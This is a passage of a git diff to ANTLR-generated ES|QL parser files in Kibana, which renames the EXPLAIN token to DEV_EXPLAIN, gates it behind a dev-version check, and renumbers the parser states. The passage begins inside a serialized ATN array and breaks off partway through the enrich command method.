754, 755, 1, 0, 0, 0, 755, 757, 1, 0, 0, 0, 756, 754, 1, 0, 0, 0, 757, 758, 5, 98, 0, 0, 758, 771, 1, 0, 0, 0, 759, 760, 5, 97, 0, 0, 760, 765, 3, 160, 80, 0, 761, 762, 5, 62, 0, 0, 762, 764, 3, 160, 80, 0, 763, 761, 1, 0, 0, 0, 764, 767, 1, 0, 0, 0, 765, 763, 1, 0, 0, 0, 765, 766, 1, 0, 0, 0, 766, 768, 1, 0, 0, 0, 767, 765, 1, 0, 0, 0, 768, 769, 5, 98, 0, 0, 769, 771, 1, 0, 0, 0, 770, 728, 1, 0, 0, 0, 770, 729, 1, 0, 0, 0, 770, 732, 1, 0, 0, 0, 770, 733, 1, 0, 0, 0, 770, 734, 1, 0, 0, 0, 770, 735, 1, 0, 0, 0, 770, 736, 1, 0, 0, 0, 770, 737, 1, 0, 0, 0, 770, 748, 1, 0, 0, 0, 770, 759, 1, 0, 0, 0, 771, 151, 1, 0, 0, 0, 772, 773, 7, 6, 0, 0, 773, 153, 1, 0, 0, 0, 774, 777, 3, 156, 78, 0, 775, 777, 3, 158, 79, 0, 776, 774, 1, 0, 0, 0, 776, 775, 1, 0, 0, 0, 777, 155, 1, 0, 0, 0, 778, 780, 7, 4, 0, 0, 779, 778, 1, 0, 0, 0, 779, 780, 1, 0, 0, 0, 780, 781, 1, 0, 0, 0, 781, 782, 5, 55, 0, 0, 782, 157, 1, 0, 0, 0, 783, 785, 7, 4, 0, 0, 784, 783, 1, 0, 0, 0, 784, 785, 1, 0, 0, 0, 785, 786, 1, 0, 0, 0, 786, 787, 5, 54, 0, 0, 787, 159, 1, 0, 0, 0, 788, 789, 5, 53, 0, 0, 789, 161, 1, 0, 0, 0, 790, 791, 7, 7, 0, 0, 791, 163, 1, 0, 0, 0, 792, 793, 7, 8, 0, 0, 793, 794, 5, 114, 0, 0, 794, 795, 3, 166, 83, 0, 795, 796, 3, 168, 84, 0, 796, 165, 1, 0, 0, 0, 797, 798, 3, 28, 14, 0, 798, 167, 1, 0, 0, 0, 799, 800, 5, 74, 0, 0, 800, 805, 3, 170, 85, 0, 801, 802, 5, 62, 0, 0, 802, 804, 3, 170, 85, 0, 803, 801, 1, 0, 0, 0, 804, 807, 1, 0, 0, 0, 805, 803, 1, 0, 0, 0, 805, 806, 1, 0, 0, 0, 806, 169, 1, 0, 0, 0, 807, 805, 1, 0, 0, 0, 808, 809, 3, 136, 68, 0, 809, 171, 1, 0, 0, 0, 72, 183, 193, 222, 237, 243, 252, 258, 271, 275, 286, 302, 310, 314, 321, 327, 334, 342, 350, 358, 362, 366, 371, 382, 387, 391, 405, 416, 422, 436, 457, 465, 468, 473, 489, 495, 502, 513, 527, 539, 548, 556, 562, 575, 584, 592, 597, 605, 607, 612, 619, 626, 635, 640, 645, 655, 661, 669, 671, 682, 689, 700, 705, 707, 719, 743, 754, 765, 770, 776, 779, 784, 805] \ No newline at end of file diff --git a/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_parser.tokens b/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_parser.tokens index 4fda06ec34804..05147b18f517e 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_parser.tokens +++ b/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_parser.tokens @@ -3,7 +3,7 @@ MULTILINE_COMMENT=2 WS=3 CHANGE_POINT=4 ENRICH=5 -EXPLAIN=6 +DEV_EXPLAIN=6 COMPLETION=7 DISSECT=8 EVAL=9 @@ -139,7 +139,6 @@ SHOW_MULTILINE_COMMENT=138 SHOW_WS=139 'change_point'=4 'enrich'=5 -'explain'=6 'completion'=7 'dissect'=8 'eval'=9 diff --git a/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_parser.ts b/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_parser.ts index 7a1162a9e1318..4faab8d7b5087 100644 --- a/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_parser.ts +++ b/src/platform/packages/shared/kbn-esql-ast/src/antlr/esql_parser.ts @@ -33,7 +33,7 @@ export default class esql_parser extends parser_config { public static readonly WS = 3; public static readonly CHANGE_POINT = 4; public static readonly ENRICH = 5; - public static readonly EXPLAIN = 6; + public static readonly DEV_EXPLAIN = 6; public static readonly COMPLETION = 7; public static readonly DISSECT = 8; public static readonly EVAL = 9; @@ -258,8 +258,7 @@ export default class esql_parser extends parser_config { null, null, "'change_point'", "'enrich'", - "'explain'", - "'completion'", + null, "'completion'", "'dissect'", "'eval'", "'grok'", "'limit'", "'row'", @@ -330,7 +329,7 @@ export default class esql_parser extends parser_config { public static readonly symbolicNames: (string | null)[] = [ null, "LINE_COMMENT", "MULTILINE_COMMENT", "WS", "CHANGE_POINT", - "ENRICH", "EXPLAIN", + "ENRICH", "DEV_EXPLAIN", "COMPLETION", "DISSECT", "EVAL", "GROK", @@ -575,46 +574,50 @@ export default class esql_parser extends parser_config { let localctx: SourceCommandContext = new SourceCommandContext(this, this._ctx, this.state); this.enterRule(localctx, 4, esql_parser.RULE_sourceCommand); try { - this.state = 192; + this.state = 193; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 1, this._ctx) ) { case 1: this.enterOuterAlt(localctx, 1); { this.state = 186; - this.explainCommand(); + this.fromCommand(); } break; case 2: this.enterOuterAlt(localctx, 2); { this.state = 187; - this.fromCommand(); + this.rowCommand(); } break; case 3: this.enterOuterAlt(localctx, 3); { this.state = 188; - this.rowCommand(); + this.showCommand(); } break; case 4: this.enterOuterAlt(localctx, 4); { this.state = 189; - this.showCommand(); + if (!(this.isDevVersion())) { + throw this.createFailedPredicateException("this.isDevVersion()"); + } + this.state = 190; + this.timeSeriesCommand(); } break; case 5: this.enterOuterAlt(localctx, 5); { - this.state = 190; + this.state = 191; if (!(this.isDevVersion())) { throw this.createFailedPredicateException("this.isDevVersion()"); } - this.state = 191; - this.timeSeriesCommand(); + this.state = 192; + this.explainCommand(); } break; } @@ -638,180 +641,180 @@ export default class esql_parser extends parser_config { let localctx: ProcessingCommandContext = new ProcessingCommandContext(this, this._ctx, this.state); this.enterRule(localctx, 6, esql_parser.RULE_processingCommand); try { - this.state = 221; + this.state = 222; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 2, this._ctx) ) { case 1: this.enterOuterAlt(localctx, 1); { - this.state = 194; + this.state = 195; this.evalCommand(); } break; case 2: this.enterOuterAlt(localctx, 2); { - this.state = 195; + this.state = 196; this.whereCommand(); } break; case 3: this.enterOuterAlt(localctx, 3); { - this.state = 196; + this.state = 197; this.keepCommand(); } break; case 4: this.enterOuterAlt(localctx, 4); { - this.state = 197; + this.state = 198; this.limitCommand(); } break; case 5: this.enterOuterAlt(localctx, 5); { - this.state = 198; + this.state = 199; this.statsCommand(); } break; case 6: this.enterOuterAlt(localctx, 6); { - this.state = 199; + this.state = 200; this.sortCommand(); } break; case 7: this.enterOuterAlt(localctx, 7); { - this.state = 200; + this.state = 201; this.dropCommand(); } break; case 8: this.enterOuterAlt(localctx, 8); { - this.state = 201; + this.state = 202; this.renameCommand(); } break; case 9: this.enterOuterAlt(localctx, 9); { - this.state = 202; + this.state = 203; this.dissectCommand(); } break; case 10: this.enterOuterAlt(localctx, 10); { - this.state = 203; + this.state = 204; this.grokCommand(); } break; case 11: this.enterOuterAlt(localctx, 11); { - this.state = 204; + this.state = 205; this.enrichCommand(); } break; case 12: this.enterOuterAlt(localctx, 12); { - this.state = 205; + this.state = 206; this.mvExpandCommand(); } break; case 13: this.enterOuterAlt(localctx, 13); { - this.state = 206; + this.state = 207; this.joinCommand(); } break; case 14: this.enterOuterAlt(localctx, 14); { - this.state = 207; + this.state = 208; this.changePointCommand(); } break; case 15: this.enterOuterAlt(localctx, 15); { - this.state = 208; + this.state = 209; this.completionCommand(); } break; case 16: this.enterOuterAlt(localctx, 16); { - this.state = 209; + this.state = 210; this.sampleCommand(); } break; case 17: this.enterOuterAlt(localctx, 17); { - this.state = 210; + this.state = 211; this.forkCommand(); } break; case 18: this.enterOuterAlt(localctx, 18); { - this.state = 211; + this.state = 212; if (!(this.isDevVersion())) { throw this.createFailedPredicateException("this.isDevVersion()"); } - this.state = 212; + this.state = 213; this.inlinestatsCommand(); } break; case 19: this.enterOuterAlt(localctx, 19); { - this.state = 213; + this.state = 214; if (!(this.isDevVersion())) { throw this.createFailedPredicateException("this.isDevVersion()"); } - this.state = 214; + this.state = 215; this.lookupCommand(); } break; case 20: this.enterOuterAlt(localctx, 20); { - this.state = 215; + this.state = 216; if (!(this.isDevVersion())) { throw this.createFailedPredicateException("this.isDevVersion()"); } - this.state = 216; + this.state = 217; this.insistCommand(); } break; case 21: this.enterOuterAlt(localctx, 21); { - this.state = 217; + this.state = 218; if (!(this.isDevVersion())) { throw this.createFailedPredicateException("this.isDevVersion()"); } - this.state = 218; + this.state = 219; this.rerankCommand(); } break; case 22: this.enterOuterAlt(localctx, 22); { - this.state = 219; + this.state = 220; if (!(this.isDevVersion())) { throw this.createFailedPredicateException("this.isDevVersion()"); } - this.state = 220; + this.state = 221; this.rrfCommand(); } break; @@ -838,9 +841,9 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 223; - this.match(esql_parser.WHERE); this.state = 224; + this.match(esql_parser.WHERE); + this.state = 225; this.booleanExpression(0); } } @@ -866,7 +869,7 @@ export default class esql_parser extends parser_config { localctx = new ToDataTypeContext(this, localctx); this.enterOuterAlt(localctx, 1); { - this.state = 226; + this.state = 227; this.identifier(); } } @@ -891,9 +894,9 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 228; - this.match(esql_parser.ROW); this.state = 229; + this.match(esql_parser.ROW); + this.state = 230; this.fields(); } } @@ -919,23 +922,23 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 231; + this.state = 232; this.field(); - this.state = 236; + this.state = 237; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 3, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { if (_alt === 1) { { { - this.state = 232; - this.match(esql_parser.COMMA); this.state = 233; + this.match(esql_parser.COMMA); + this.state = 234; this.field(); } } } - this.state = 238; + this.state = 239; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 3, this._ctx); } @@ -962,19 +965,19 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 242; + this.state = 243; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 4, this._ctx) ) { case 1: { - this.state = 239; - this.qualifiedName(); this.state = 240; + this.qualifiedName(); + this.state = 241; this.match(esql_parser.ASSIGN); } break; } - this.state = 244; + this.state = 245; this.booleanExpression(0); } } @@ -1000,23 +1003,23 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 246; + this.state = 247; this.rerankField(); - this.state = 251; + this.state = 252; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 5, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { if (_alt === 1) { { { - this.state = 247; - this.match(esql_parser.COMMA); this.state = 248; + this.match(esql_parser.COMMA); + this.state = 249; this.rerankField(); } } } - this.state = 253; + this.state = 254; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 5, this._ctx); } @@ -1043,16 +1046,16 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 254; + this.state = 255; this.qualifiedName(); - this.state = 257; + this.state = 258; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 6, this._ctx) ) { case 1: { - this.state = 255; - this.match(esql_parser.ASSIGN); this.state = 256; + this.match(esql_parser.ASSIGN); + this.state = 257; this.booleanExpression(0); } break; @@ -1080,9 +1083,9 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 259; - this.match(esql_parser.FROM); this.state = 260; + this.match(esql_parser.FROM); + this.state = 261; this.indexPatternAndMetadataFields(); } } @@ -1107,9 +1110,9 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 262; - this.match(esql_parser.DEV_TIME_SERIES); this.state = 263; + this.match(esql_parser.DEV_TIME_SERIES); + this.state = 264; this.indexPatternAndMetadataFields(); } } @@ -1135,32 +1138,32 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 265; + this.state = 266; this.indexPattern(); - this.state = 270; + this.state = 271; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 7, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { if (_alt === 1) { { { - this.state = 266; - this.match(esql_parser.COMMA); this.state = 267; + this.match(esql_parser.COMMA); + this.state = 268; this.indexPattern(); } } } - this.state = 272; + this.state = 273; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 7, this._ctx); } - this.state = 274; + this.state = 275; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 8, this._ctx) ) { case 1: { - this.state = 273; + this.state = 274; this.metadata(); } break; @@ -1186,35 +1189,35 @@ export default class esql_parser extends parser_config { let localctx: IndexPatternContext = new IndexPatternContext(this, this._ctx, this.state); this.enterRule(localctx, 28, esql_parser.RULE_indexPattern); try { - this.state = 285; + this.state = 286; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 9, this._ctx) ) { case 1: this.enterOuterAlt(localctx, 1); { - this.state = 276; - this.clusterString(); this.state = 277; - this.match(esql_parser.COLON); + this.clusterString(); this.state = 278; + this.match(esql_parser.COLON); + this.state = 279; this.unquotedIndexString(); } break; case 2: this.enterOuterAlt(localctx, 2); { - this.state = 280; - this.unquotedIndexString(); this.state = 281; - this.match(esql_parser.CAST_OP); + this.unquotedIndexString(); this.state = 282; + this.match(esql_parser.CAST_OP); + this.state = 283; this.selectorString(); } break; case 3: this.enterOuterAlt(localctx, 3); { - this.state = 284; + this.state = 285; this.indexString(); } break; @@ -1241,7 +1244,7 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 287; + this.state = 288; this.match(esql_parser.UNQUOTED_SOURCE); } } @@ -1266,7 +1269,7 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 289; + this.state = 290; this.match(esql_parser.UNQUOTED_SOURCE); } } @@ -1291,7 +1294,7 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 291; + this.state = 292; this.match(esql_parser.UNQUOTED_SOURCE); } } @@ -1317,7 +1320,7 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 293; + this.state = 294; _la = this._input.LA(1); if(!(_la===53 || _la===107)) { this._errHandler.recoverInline(this); @@ -1350,25 +1353,25 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 295; - this.match(esql_parser.METADATA); this.state = 296; + this.match(esql_parser.METADATA); + this.state = 297; this.match(esql_parser.UNQUOTED_SOURCE); - this.state = 301; + this.state = 302; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 10, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { if (_alt === 1) { { { - this.state = 297; - this.match(esql_parser.COMMA); this.state = 298; + this.match(esql_parser.COMMA); + this.state = 299; this.match(esql_parser.UNQUOTED_SOURCE); } } } - this.state = 303; + this.state = 304; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 10, this._ctx); } @@ -1395,9 +1398,9 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 304; - this.match(esql_parser.EVAL); this.state = 305; + this.match(esql_parser.EVAL); + this.state = 306; this.fields(); } } @@ -1422,26 +1425,26 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 307; + this.state = 308; this.match(esql_parser.STATS); - this.state = 309; + this.state = 310; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 11, this._ctx) ) { case 1: { - this.state = 308; + this.state = 309; localctx._stats = this.aggFields(); } break; } - this.state = 313; + this.state = 314; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 12, this._ctx) ) { case 1: { - this.state = 311; - this.match(esql_parser.BY); this.state = 312; + this.match(esql_parser.BY); + this.state = 313; localctx._grouping = this.fields(); } break; @@ -1470,23 +1473,23 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 315; + this.state = 316; this.aggField(); - this.state = 320; + this.state = 321; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 13, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { if (_alt === 1) { { { - this.state = 316; - this.match(esql_parser.COMMA); this.state = 317; + this.match(esql_parser.COMMA); + this.state = 318; this.aggField(); } } } - this.state = 322; + this.state = 323; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 13, this._ctx); } @@ -1513,16 +1516,16 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 323; + this.state = 324; this.field(); - this.state = 326; + this.state = 327; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 14, this._ctx) ) { case 1: { - this.state = 324; - this.match(esql_parser.WHERE); this.state = 325; + this.match(esql_parser.WHERE); + this.state = 326; this.booleanExpression(0); } break; @@ -1551,23 +1554,23 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 328; + this.state = 329; this.identifierOrParameter(); - this.state = 333; + this.state = 334; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 15, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { if (_alt === 1) { { { - this.state = 329; - this.match(esql_parser.DOT); this.state = 330; + this.match(esql_parser.DOT); + this.state = 331; this.identifierOrParameter(); } } } - this.state = 335; + this.state = 336; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 15, this._ctx); } @@ -1595,23 +1598,23 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 336; + this.state = 337; this.identifierPattern(); - this.state = 341; + this.state = 342; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 16, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { if (_alt === 1) { { { - this.state = 337; - this.match(esql_parser.DOT); this.state = 338; + this.match(esql_parser.DOT); + this.state = 339; this.identifierPattern(); } } } - this.state = 343; + this.state = 344; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 16, this._ctx); } @@ -1639,23 +1642,23 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 344; + this.state = 345; this.qualifiedNamePattern(); - this.state = 349; + this.state = 350; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 17, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { if (_alt === 1) { { { - this.state = 345; - this.match(esql_parser.COMMA); this.state = 346; + this.match(esql_parser.COMMA); + this.state = 347; this.qualifiedNamePattern(); } } } - this.state = 351; + this.state = 352; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 17, this._ctx); } @@ -1683,7 +1686,7 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 352; + this.state = 353; _la = this._input.LA(1); if(!(_la===101 || _la===102)) { this._errHandler.recoverInline(this); @@ -1713,13 +1716,13 @@ export default class esql_parser extends parser_config { let localctx: IdentifierPatternContext = new IdentifierPatternContext(this, this._ctx, this.state); this.enterRule(localctx, 56, esql_parser.RULE_identifierPattern); try { - this.state = 357; + this.state = 358; this._errHandler.sync(this); switch (this._input.LA(1)) { case 128: this.enterOuterAlt(localctx, 1); { - this.state = 354; + this.state = 355; this.match(esql_parser.ID_PATTERN); } break; @@ -1727,7 +1730,7 @@ export default class esql_parser extends parser_config { case 95: this.enterOuterAlt(localctx, 2); { - this.state = 355; + this.state = 356; this.parameter(); } break; @@ -1735,7 +1738,7 @@ export default class esql_parser extends parser_config { case 96: this.enterOuterAlt(localctx, 3); { - this.state = 356; + this.state = 357; this.doubleParameter(); } break; @@ -1762,14 +1765,14 @@ export default class esql_parser extends parser_config { let localctx: ParameterContext = new ParameterContext(this, this._ctx, this.state); this.enterRule(localctx, 58, esql_parser.RULE_parameter); try { - this.state = 361; + this.state = 362; this._errHandler.sync(this); switch (this._input.LA(1)) { case 76: localctx = new InputParamContext(this, localctx); this.enterOuterAlt(localctx, 1); { - this.state = 359; + this.state = 360; this.match(esql_parser.PARAM); } break; @@ -1777,7 +1780,7 @@ export default class esql_parser extends parser_config { localctx = new InputNamedOrPositionalParamContext(this, localctx); this.enterOuterAlt(localctx, 2); { - this.state = 360; + this.state = 361; this.match(esql_parser.NAMED_OR_POSITIONAL_PARAM); } break; @@ -1804,14 +1807,14 @@ export default class esql_parser extends parser_config { let localctx: DoubleParameterContext = new DoubleParameterContext(this, this._ctx, this.state); this.enterRule(localctx, 60, esql_parser.RULE_doubleParameter); try { - this.state = 365; + this.state = 366; this._errHandler.sync(this); switch (this._input.LA(1)) { case 94: localctx = new InputDoubleParamsContext(this, localctx); this.enterOuterAlt(localctx, 1); { - this.state = 363; + this.state = 364; this.match(esql_parser.DOUBLE_PARAMS); } break; @@ -1819,7 +1822,7 @@ export default class esql_parser extends parser_config { localctx = new InputNamedOrPositionalDoubleParamsContext(this, localctx); this.enterOuterAlt(localctx, 2); { - this.state = 364; + this.state = 365; this.match(esql_parser.NAMED_OR_POSITIONAL_DOUBLE_PARAMS); } break; @@ -1846,14 +1849,14 @@ export default class esql_parser extends parser_config { let localctx: IdentifierOrParameterContext = new IdentifierOrParameterContext(this, this._ctx, this.state); this.enterRule(localctx, 62, esql_parser.RULE_identifierOrParameter); try { - this.state = 370; + this.state = 371; this._errHandler.sync(this); switch (this._input.LA(1)) { case 101: case 102: this.enterOuterAlt(localctx, 1); { - this.state = 367; + this.state = 368; this.identifier(); } break; @@ -1861,7 +1864,7 @@ export default class esql_parser extends parser_config { case 95: this.enterOuterAlt(localctx, 2); { - this.state = 368; + this.state = 369; this.parameter(); } break; @@ -1869,7 +1872,7 @@ export default class esql_parser extends parser_config { case 96: this.enterOuterAlt(localctx, 3); { - this.state = 369; + this.state = 370; this.doubleParameter(); } break; @@ -1898,9 +1901,9 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 372; - this.match(esql_parser.LIMIT); this.state = 373; + this.match(esql_parser.LIMIT); + this.state = 374; this.constant(); } } @@ -1926,25 +1929,25 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 375; - this.match(esql_parser.SORT); this.state = 376; + this.match(esql_parser.SORT); + this.state = 377; this.orderExpression(); - this.state = 381; + this.state = 382; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 22, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { if (_alt === 1) { { { - this.state = 377; - this.match(esql_parser.COMMA); this.state = 378; + this.match(esql_parser.COMMA); + this.state = 379; this.orderExpression(); } } } - this.state = 383; + this.state = 384; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 22, this._ctx); } @@ -1972,14 +1975,14 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 384; + this.state = 385; this.booleanExpression(0); - this.state = 386; + this.state = 387; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 23, this._ctx) ) { case 1: { - this.state = 385; + this.state = 386; localctx._ordering = this._input.LT(1); _la = this._input.LA(1); if(!(_la===57 || _la===63)) { @@ -1992,14 +1995,14 @@ export default class esql_parser extends parser_config { } break; } - this.state = 390; + this.state = 391; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 24, this._ctx) ) { case 1: { - this.state = 388; - this.match(esql_parser.NULLS); this.state = 389; + this.match(esql_parser.NULLS); + this.state = 390; localctx._nullOrdering = this._input.LT(1); _la = this._input.LA(1); if(!(_la===66 || _la===69)) { @@ -2035,9 +2038,9 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 392; - this.match(esql_parser.KEEP); this.state = 393; + this.match(esql_parser.KEEP); + this.state = 394; this.qualifiedNamePatterns(); } } @@ -2062,9 +2065,9 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 395; - this.match(esql_parser.DROP); this.state = 396; + this.match(esql_parser.DROP); + this.state = 397; this.qualifiedNamePatterns(); } } @@ -2090,25 +2093,25 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 398; - this.match(esql_parser.RENAME); this.state = 399; + this.match(esql_parser.RENAME); + this.state = 400; this.renameClause(); - this.state = 404; + this.state = 405; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 25, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { if (_alt === 1) { { { - this.state = 400; - this.match(esql_parser.COMMA); this.state = 401; + this.match(esql_parser.COMMA); + this.state = 402; this.renameClause(); } } } - this.state = 406; + this.state = 407; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 25, this._ctx); } @@ -2133,28 +2136,28 @@ export default class esql_parser extends parser_config { let localctx: RenameClauseContext = new RenameClauseContext(this, this._ctx, this.state); this.enterRule(localctx, 76, esql_parser.RULE_renameClause); try { - this.state = 415; + this.state = 416; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 26, this._ctx) ) { case 1: this.enterOuterAlt(localctx, 1); { - this.state = 407; - localctx._oldName = this.qualifiedNamePattern(); this.state = 408; - this.match(esql_parser.AS); + localctx._oldName = this.qualifiedNamePattern(); this.state = 409; + this.match(esql_parser.AS); + this.state = 410; localctx._newName = this.qualifiedNamePattern(); } break; case 2: this.enterOuterAlt(localctx, 2); { - this.state = 411; - localctx._newName = this.qualifiedNamePattern(); this.state = 412; - this.match(esql_parser.ASSIGN); + localctx._newName = this.qualifiedNamePattern(); this.state = 413; + this.match(esql_parser.ASSIGN); + this.state = 414; localctx._oldName = this.qualifiedNamePattern(); } break; @@ -2181,18 +2184,18 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 417; - this.match(esql_parser.DISSECT); this.state = 418; - this.primaryExpression(0); + this.match(esql_parser.DISSECT); this.state = 419; + this.primaryExpression(0); + this.state = 420; this.string_(); - this.state = 421; + this.state = 422; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 27, this._ctx) ) { case 1: { - this.state = 420; + this.state = 421; this.commandOptions(); } break; @@ -2220,11 +2223,11 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 423; - this.match(esql_parser.GROK); this.state = 424; - this.primaryExpression(0); + this.match(esql_parser.GROK); this.state = 425; + this.primaryExpression(0); + this.state = 426; this.string_(); } } @@ -2249,9 +2252,9 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 427; - this.match(esql_parser.MV_EXPAND); this.state = 428; + this.match(esql_parser.MV_EXPAND); + this.state = 429; this.qualifiedName(); } } @@ -2277,23 +2280,23 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 430; + this.state = 431; this.commandOption(); - this.state = 435; + this.state = 436; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 28, this._ctx); while (_alt !== 2 && _alt !== ATN.INVALID_ALT_NUMBER) { if (_alt === 1) { { { - this.state = 431; - this.match(esql_parser.COMMA); this.state = 432; + this.match(esql_parser.COMMA); + this.state = 433; this.commandOption(); } } } - this.state = 437; + this.state = 438; this._errHandler.sync(this); _alt = this._interp.adaptivePredict(this._input, 28, this._ctx); } @@ -2320,11 +2323,11 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 438; - this.identifier(); this.state = 439; - this.match(esql_parser.ASSIGN); + this.identifier(); this.state = 440; + this.match(esql_parser.ASSIGN); + this.state = 441; this.constant(); } } @@ -2349,9 +2352,9 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 442; - this.match(esql_parser.EXPLAIN); this.state = 443; + this.match(esql_parser.DEV_EXPLAIN); + this.state = 444; this.subqueryExpression(); } } @@ -2376,12 +2379,12 @@ export default class esql_parser extends parser_config { try { this.enterOuterAlt(localctx, 1); { - this.state = 445; - this.match(esql_parser.OPENING_BRACKET); this.state = 446; - this.query(0); + this.match(esql_parser.LP); this.state = 447; - this.match(esql_parser.CLOSING_BRACKET); + this.query(0); + this.state = 448; + this.match(esql_parser.RP); } } catch (re) { @@ -2406,9 +2409,9 @@ export default class esql_parser extends parser_config { localctx = new ShowInfoContext(this, localctx); this.enterOuterAlt(localctx, 1); { - this.state = 449; - this.match(esql_parser.SHOW); this.state = 450; + this.match(esql_parser.SHOW); + this.state = 451; this.match(esql_parser.INFO); } } @@ -2434,46 +2437,46 @@ export default class esql_parser extends parser_config { let _alt: number; this.enterOuterAlt(localctx, 1); { - this.state = 452; - this.match(esql_parser.ENRICH); this.state = 453; + this.match(esql_parser.ENRICH); + this.state = 454; localctx._policyName = this.match(esql_parser.ENRICH_POLICY_NAME); - this.state = 456; + this.state = 457; this._errHandler.sync(this); switch ( this._interp.adaptivePredict(this._input, 29, this._ctx) 